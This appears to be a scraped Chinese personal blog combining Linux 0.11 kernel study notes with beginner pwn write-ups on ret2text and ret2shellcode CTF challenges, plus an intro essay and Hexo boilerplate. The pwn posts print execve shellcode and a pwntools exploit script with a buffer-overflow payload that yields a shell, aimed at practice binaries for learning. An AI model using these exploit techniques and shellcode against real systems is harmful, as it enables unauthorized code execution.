代码:move_to_user_mode1234567#define move_to_user_mode() \__asm__ ("movl %%esp,%%eax\n\t" \ "pushfl\n\t" \.... "iret\n" \ .... :::"ax")
INIT_TASK include/linux/sched.htss的第10位为0,可以在该文件下找到tss的结构,第10位就是eflags
123456789101112131415161718192021222324252627282930313233343536#define INIT_TASK \.../*tss*/ {0,PAGE_SIZE+(long)&init_task,0x10,0,0,0,0,(long)&pg_dir,\ 0,0,0,0,0,0,0,0, \ 0,0,0x17,0x17,0x17,0x17,0x17,0x17, \ _LDT(0),0x80000000, \ {} \ }, \}struct tss_struct { long back_link; /* 16 high bits zero */ long esp0; long ss0; /* 16 high bits zero */ long esp1; long ss1; /* 16 high bits zero */ long esp2; long ss2; /* 16 high bits zero */ long cr3; long eip; long eflags; long eax,ecx,edx,ebx; long esp; long ebp; long esi; long edi; long es; /* 16 high bits zero */ long cs; /* 16 high bits zero */ long ss; /* 16 high bits zero */ long ds; /* 16 high bits zero */ long fs; /* 16 high bits zero */ long gs; /* 16 high bits zero */ long ldt; /* 16 high bits zero */ long trace_bitmap; /* bits: trace 0, bitmap 16-31 */ struct i387_struct i387;};
14.进程0的task_struct在哪?具体内容是什么?给出代码证据。init/main.c sched_init();
kernel/sched.c
12345678910111213void sched_init(void) //调度程序的初始化子程序 { int i; struct desc_struct * p; if (sizeof(struct sigaction) != 16) panic("Struct sigaction MUST be 16 bytes"); //致命错误 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); // 设置初始任务(任务 0)的任务状态段描述符和局部数据表描述符(include/asm/system.h,65)。 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));init_taskstatic union task_union init_task = {INIT_TASK,}; // 这里进行类型转换
15.在system.h里读懂代码。这里中断门、陷阱门、系统调用都是通过_set_gate设置的,用的是同一个嵌入汇编代码,比较明显的差别是dpl一个是3,另外两个是0,这是为什么?说明理由。p51
12345678910111213141516171819#define _set_gate(gate_addr,type,dpl,addr) \__asm__ ("movw %%dx,%%ax\n\t" \ //实现了偏移的拆分 "movw %0,%%dx\n\t" \ //将偏移的低字给dx "movl %%eax,%1\n\t" \ "movl %%edx,%2" \ //差四字节 : \ : "i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "o" (*((char *) (gate_addr))), \ "o" (*(4+(char *) (gate_addr))), \ "d" ((char *) (addr)),"a" (0x00080000)) // jump 08》???//设置中断门函数#define set_intr_gate(n,addr) \ // n 中断号 addr 中断程序偏移地址 _set_gate(&idt[n],14,0,addr) //&idt[n]对应中断号在中断描述符表中的偏移值;中断描述符的类型是 14,特权级是 0。//设置陷阱门函数#define set_trap_gate(n,addr) \ _set_gate(&idt[n],15,0,addr) // idt表的n项,f,0, 0对应dpl,15对应type ,以二进制来看到//设置系统调用门函数#define set_system_gate(n,addr) \ _set_gate(&idt[n],15,3,addr)
这里也是特权级保护的思想, 大概申请者用于大于该东西的特权级才能访问(具体的比这个复杂, 参加IA32 第三卷)
set_system_gate是3,意思是系统调用可以由3特权级(即用户特权级)进行调用,其余两个为0的意思是只能由内核处理,禁止用户进程进行调用,这样就起到了保护系统的作用
16.进程0 fork进程1之前,为什么先调用move_to_user_mode()?用的是什么方法?解释其中的道理。p78
为什么要调用move_to_user_mode()? 因为Linux操作系统规定,除了进程0之外,所有进程都要由一个已有进程在3特权级下进行创建,所以进程0在fork进程1之前,要先从0特权级翻转到3特权级
Linux0.11是通过move_to_user_mode(),模仿中断返回动作,实现从0特权级转变为3特权级
方法(怎么实现翻转呢? IA32体系结构翻转特权级的方法之一是中断,进入中断的时候由3转0,返回的时候由0转3. int指令会引发CPU硬件完成SS、ESP、EFLAGS、CS、EIP的值按顺序进栈,返回时CPU执行iret指令会将栈中的值自动按反序恢复给这五个寄存器
既然要模拟中断返回,那么就需要模拟int(中断)时的压栈,就是前面5个push,最后调用iret进行返回,将SS,ESP,EFLAGS,CS,EIP按顺序交给CPU,CPU此时就翻转到了3特权级(具体的呢??)
代码include/asm/system.h
1234567891011121314#define move_to_user_mode() \__asm__ ("movl %%esp,%%eax\n\t" \ "pushl $0x17\n\t" \ //SS 0x17 = 10(第三项)1(ldt)11(特权级3 ) 代替inc int? 这是个段值,用户程序数据段 由0特权变为3特权 "pushl %%eax\n\t" \ //里面就是esp 对的,看第一句 "pushfl\n\t" \ "pushl $0x0f\n\t" \ // 0000000000001111 最后两位11(特权级3) "pushl $1f\n\t" \ "iret\n" \ // 中断返回 (与中断不配套其实,单独出现的一个返回,前面是一个模拟中断) "1:\tmovl $0x17,%%eax\n\t" \ //开始3特权级 切3态的话 为什么说切到task0了? ldtr tr-> "movw %%ax,%%ds\n\t" \ // 进程0代码 分页的时候 + 7、 task数组,都可以说明是进程0 "movw %%ax,%%es\n\t" \ "movw %%ax,%%fs\n\t" \ "movw %%ax,%%gs" \ :::"ax")
17.在Linux操作系统中大量使用了中断、异常类的处理,究竟有什么好处? 在此之前是采用“主动轮巡”的方式来处理这些请求,在轮巡的时候干不了别的,很浪费时间. 所以不如采用被动的模式,即当有需要的时候,发送中断信号,告诉CPU进入到具体的中断处理程序进行处理. 这样使得CPU的处理更加高效.
18.copy_process函数的参数最后五项是:long eip,long cs,long eflags,long esp,long ss。查看栈结构确实有这五个参数,奇怪的是其他参数的压栈代码都能找得到,确找不到这五个参数的压栈代码,反汇编代码中也查不到,请解释原因。p83
是在int 0x80的时候,CPU硬件自动将ss、esp、eflags、cs、eip进行压栈(压入进程0的内核栈), (本意是保护存储压栈现场,使得中断返回后能够继续正常执行,在这里我们灵活取用了)
init/main.c
19.分析get_free_page()函数的代码,叙述在主内存中获取一个空闲页的技术路线。p89
赵炯p446
kernel/fork.c
1234567891011int copy_process(int nr,long ebp,long edi,long esi,long gs,long none, //none是 long ebx,long ecx,long edx, long fs,long es,long ds, long eip,long cs,long eflags,long esp,long ss) //int 0x80 ss esp啥呀这是{ //参数哪来的呢?? 传参了吗? 压栈放在栈里了, 主调函数往里放 在哪传的? struct task_struct *p; int i; struct file *f; p = (struct task_struct *) get_free_page(); //返回的指针做强制类型转换,把一块空间转换成一个struct if (!p)
mm/memory.c
12345678910111213141516171819202122232425/* * Get physical address of first (actually last :-) free page, and mark it * used. If no free pages left, return 0. */unsigned long get_free_page(void){register unsigned long __res asm("ax");__asm__("std ; repne ; scasb\n\t" "jne 1f\n\t" "movb $1,1(%%edi)\n\t" "sall $12,%%ecx\n\t" "addl %2,%%ecx\n\t" "movl %%ecx,%%edx\n\t" "movl $1024,%%ecx\n\t" "leal 4092(%%edx),%%edi\n\t" "rep ; stosl\n\t" "movl %%edx,%%eax\n" "1:" :"=a" (__res) :"0" (0),"i" (LOW_MEM),"c" (PAGING_PAGES), "D" (mem_map+PAGING_PAGES-1) :"di","cx","dx");return __res;}
20.分析copy_page_tables()函数的代码,叙述父进程如何为子进程复制页表。p97
参考资料《Linux内核设计的艺术 第二版》 新设计团队
《Linux内核完全注释》 赵炯
《IA32》 手册 第三卷
https://www.likecs.com/show-204742912.html
https://github.com/sunym1993/flash-linux0.11-talk
pwn入门-2-ret2shellcode
ctfwiki的例子bamboofox 中的 ret2shellcode:
需要有可读可写可执行的段,将shellcode写入这里,然后执行shellcode
这道题其实是给的一种很简单的方法,直接把shellcode写入了bss段,然后这个段是可读可写可执行的
123456.bss:0804A065 align 20h.bss:0804A080 public buf2.bss:0804A080 ; char buf2[100].bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o.bss:0804A080 _bss ends.bss:0804A080
查看各个段的属性方法一:在gdb中调试,启动程序后用vmmap
.bss:0804A080 对应着 0x804a000 0x804b000 0x001000 rwx /home/ubuntu/shellcode/ret2shellcode
可读可写可执行
123456789101112131415161718gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x8048000 0x8049000 0x000000 r-x /home/ubuntu/shellcode/ret2shellcode0x8049000 0x804a000 0x000000 r-x /home/ubuntu/shellcode/ret2shellcode0x804a000 0x804b000 0x001000 rwx /home/ubuntu/shellcode/ret2shellcode0xf7de5000 0xf7fba000 0x000000 r-x /lib/i386-linux-gnu/libc-2.27.so0xf7fba000 0xf7fbb000 0x1d5000 --- /lib/i386-linux-gnu/libc-2.27.so0xf7fbb000 0xf7fbd000 0x1d5000 r-x /lib/i386-linux-gnu/libc-2.27.so0xf7fbd000 0xf7fbe000 0x1d7000 rwx /lib/i386-linux-gnu/libc-2.27.so0xf7fbe000 0xf7fc1000 0x000000 rwx0xf7fd0000 0xf7fd2000 0x000000 rwx0xf7fd2000 0xf7fd5000 0x000000 r-- [vvar]0xf7fd5000 0xf7fd6000 0x000000 r-x [vdso]0xf7fd6000 0xf7ffc000 0x000000 r-x /lib/i386-linux-gnu/ld-2.27.so0xf7ffc000 0xf7ffd000 0x025000 r-x /lib/i386-linux-gnu/ld-2.27.so0xf7ffd000 0xf7ffe000 0x026000 rwx /lib/i386-linux-gnu/ld-2.27.so0xfffdd000 0xffffe000 0x000000 rwx [stack]
方法二:readelf
pwntools中的shellcode相关函数shellcraft.sh() 汇编代码的shellcode
asm(shellcraft.sh()) 二进制机器码(16进制)的shellcode
123456789101112131415161718192021222324252627shellcraft.sh()/* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80asm(shellcraft.sh()) b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
pwn入门-1-初识
学pwn有一段时间了,反反复复捣鼓一些东西,还是觉得以博客记录比较好,梳理自己的思路,会以第一人称来写,来记录学习的过程和结局思路(不是那种我是老师,教你学, 而是自己在探索.所以可能有时候会比较傻) 基础知识总有书和博客比我写得好,我觉得没有必要造轮子,所以有些基础知识可能会不会写的太细….反之,有一些博客上漏掉的细节,以及解题的关键会重点写(不会吧不会吧,真有人看你博客吗)
自己曾经说网上99%的博客都是垃圾(包括自己的),希望自己换了新博客后写的能质量高一点(至少越来越有长进)。(笑,不会真有人看你博客吧?)
第一篇文章首先来简单说一下自己目前认知的pwn
什么是pwn? 简单来说就是二进制漏洞的利用,什么是二进制呢? 这里的二进制指的是二进制程序,也就是我们平常用高级语言编写的程序被编译链接后成为的01010101, 它们在操作系统中运行的时候,会因为操作系统和cpu等设计的问题,以及程序员的问题,出现各种bug,导致漏洞利用.
最常见的就是溢出类型的漏洞,在CTF中也是最常考察的,栈溢出,堆溢出等,在这之后会有虚拟化逃逸,内核漏洞等.
“万物皆可pwn”,尤其是现在iot的发展,多种设备都联入网络,像汽车,智能家居,安保系统等,都可能被“pwn“掉
如何入门? 这个问题我没法回答,因为我现在正在入门……….我只能说一些我目前正在做的事情,仅供参考
1.系统地打好计算机基础 pwn和web不一样,是比较底层的,需要的计算机知识很多,基础不牢地动山摇,所以要有较好的计算机基础.
包括但不限于 操作系统、汇编语言、体系结构、编译原理、C语言等
作者目前研一,还有一段时间用来打基础,建议大家在本科期间就好好打基础呀 (半路出家的痛)
目前选了学校的一些课程,同时在看一些书和视频等
(一)计算机体系结构 或者说计算机组成原理,是非常非常基础和重要的(本科时候学的太烂的),国科大的胡伟武老师讲这门课(放弃申报院士,为国家做芯片,龙芯董事长,首席科学家!!!! 超级牛的老师)
这门课能让你懂计算机的运行原理,CPU的原理,计算机是如何工作的,从电路、元器件的原理上去深入理解计算机
推荐书籍:
《计算机体系结构基础 第三版》 胡伟武 这是给国科大的本科生看的,但我觉得不论什么水平看一看都有收获
《计算机体系结构 第二版》胡伟武 这是给研究生推荐的教材,可以作为进阶看
《深入理解计算机系统》 经典黑书..
(二)操作系统 操作系统可以说
从最简单的一个栈溢出开始了解pwn什么是栈? 栈是用来存储用户输入,函数变量,寄存器的值等的一块内存空间,它从高地址向低地址生长
什么是缓冲区溢出? 在上图中, buffer是用户能够可控的,用户能够可控的事实上便不安全,如果没有对buffer的大小进行正确的控制,buffer超过了128字节,则会产生溢出.
那么产生了溢出又会怎样呢? 先看最直接的效果,buffer的地址是从低地址向高地址生长的,那么它往上溢出,就会覆盖ebp和返回地址,以及等等.
那么覆盖了又会怎样呢?? 这里就需要了解函数调用的基础了(基础知识很重要!),这里先简单的说,在我们当前这个函数被调用完成,进行return的时候,它会return到哪呢? 就是我们存储的返回地址(return address),所以,答案就来了,如果我们把返回地址修改为恶意代码的地址,是不是就能够对它进行劫持? 是的,这种手法就叫劫持控制流
一个简单的例子, ret2backdoor/ret2text题目来源于bamboofox中的ret2text
题目链接:
一般我们拿到的都是二进制文件,没有源代码,但我们不能直接读01吧,读汇编也很难吧(大佬除外),所以我们需要工具来帮我们反编译反汇编,反汇编是把01那些转换成汇编代码,反编译是把汇编转换成高级语言(如c语言)
这时候我们需要借助一个工具, ida pro, 别的工具也可以,不过ida确实是非常好用啊
动态调试 啥是动态调试呢? 静态分析是看源程序的汇编代码,程序是死的,动态调试就是让程序跑起来,在程序运行的时候,在某个节点断下来,查看程序的运行时状态,如栈的布局,寄存器等等,来寻找漏洞和探索利用方式,这里同样我们要用一些工具,首先是gdb,gdb本身不是为了漏洞利用而生的,而是给程序员来调试程序用的.
(这里还需要安装一个插件, gef ,具体安装可以google,有很多安装教程,或者直接看github仓库) 不过,为啥要安插件呢? 因为没插件不好用,插件能够帮你提取重要信息,以及给你增加很多方便漏洞调试的命令.
我们用 gdb 文件名 来启动调试
start 从第一条指令开始运行
ni 一步一步往下执行(遇到函数时不进入,直接执行完)
这里我们执行到了gets函数,它就是用来读取我们用户输入的,我们先来随便输入一串a
telescope 查看栈的情况 连续按回车可以一直往下展示栈(其实是重复当前命令)
能够看到 esp提示你 0xffffd56c这个位置存储的是这一串a,往下看,确实是,
当我们继续往下看的时候,我们看到了ebp
根据我们上面对栈的理解,buf之后是ebp然后是返回地址 (实际上实际情况可能比这还要复杂,暂且这样)
所以我们也可以从这里算覆盖地址,用ebp的地址 - 字符串开头,也就是buffer的地址, 就可以算出来要填充的字节数
0xffffd5d8 - 0xffffd56c = 108 这是到ebp的, 再加上ebp 4个字节,于是就是 112 字节, 然后就是返回地址了
那么返回地址我们返回到哪呢? 我们刚才在静态分析的时候已经分析到了存在后门函数,地址是0x804863a,所以我们返回这个后门的地址就可以了!
ctfwiki里解释的太粗了,为什么eax的位置就是字符串开始读取的位置呢?????????
构造payload与exp12payload = b"a" * 108 + b"a" * 4 + retaddress// 108是覆盖缓冲区,4是覆盖ebp,然后就是返回地址了
123456789from pwn import *sh = process("ret2text")retaddress = 0x804863apayload = payload = b"a" * 108 + b"a" * 4 + p32(retaddress)sh.send(payload)sh.interactive()
123456789101112root@VM-24-10-ubuntu:/home/ubuntu/zhan# python3 exp.py[!] Could not find executable 'ret2text' in $PATH, using './ret2text' instead[+] Starting local process './ret2text': pid 16542[*] Switching to interactive modeThere is something amazing here, do you know anything?$ idMaybe I will tell you next time !$ whoamiroot$ lsexp.py ret2text shellcode 于是我们就拿到权限了!
关于和pwntools的联动问题sh.send(payload)pause()
想达到在刚发送完这条payload,查看之后的效果,如果这样的话,是不行的,这样的话估计是执行了很多条之后的了,为什么呢?
如果想达到上述效果,需要下断点. 先调试找到断点,然后在gdb.attach的时候下断点
1230xf7e4c624 <gets+292> call __uflow <__uflow> 0xf7e4c629 <gets+297> add esp, 0x10
下断点下到0xf7e4c629就可以了
12345678910from pwn import *sh = process("./ret2text")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"b *0xf7e4c624")retaddress = 0x804863apayload = payload = b"a" * 108 + b"a" * 4 + p32(retaddress)sh.send(payload)sh.interactive()
运行的时候感觉不是到断点那里了,差了一些,但是可以一直往下n,还是差不多的
需要输入的时候 切换到左边按一下回车,就发送过去了
一个新的开始
📆为什么要打算开博客呢? 记录自己的成长历程以及写一些技术博客我觉得是很有意义的事情,之前都是用csdn,因为它太垃圾了 ,所以决定换掉, 还是自己能够自定义的比较好,不受人的牵制.
来到雁栖湖快两个月了, 开启了人生的新篇章,在这里,见识到了多场非常多的大牛老师以及大佬同学,看到了和他们的差距,希望自己能在雁栖湖这一年好好积累知识, ( 毕竟这是不怎么用打工,很悠闲的一年喂)
🎖打算记录些什么呢?🚩技术 研究生想往pwn发展,会记录pwn的入门历程(从0到0.01)以及比赛的writeup, 其他自己接触到的各种技术觉得有意义的可能都会写一点
目前的计划大概是一周一篇,希望能控制好质量
🌸人生🎯研究生有什么目标呢?希望财富自由, 赚100万💰吧
希望能找到自己更明确的目标,希望自己磨练好技艺,希望自己能去探索更大的世界
最重要的是,希望自己能找到内心的平静、能做一个好人
🥳写给读者的话(希望这个博客能有人看2333)非常感谢您来看这只小菜狗的博客!如果有任何问题想交流,欢迎联系!
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick StartCreate a new post1$ hexo new "My New Post"
More info: Writing
Run server1$ hexo server
More info: Server
Generate static files1$ hexo generate
More info: Generating
Deploy to remote sites1$ hexo deploy
More info: Deployment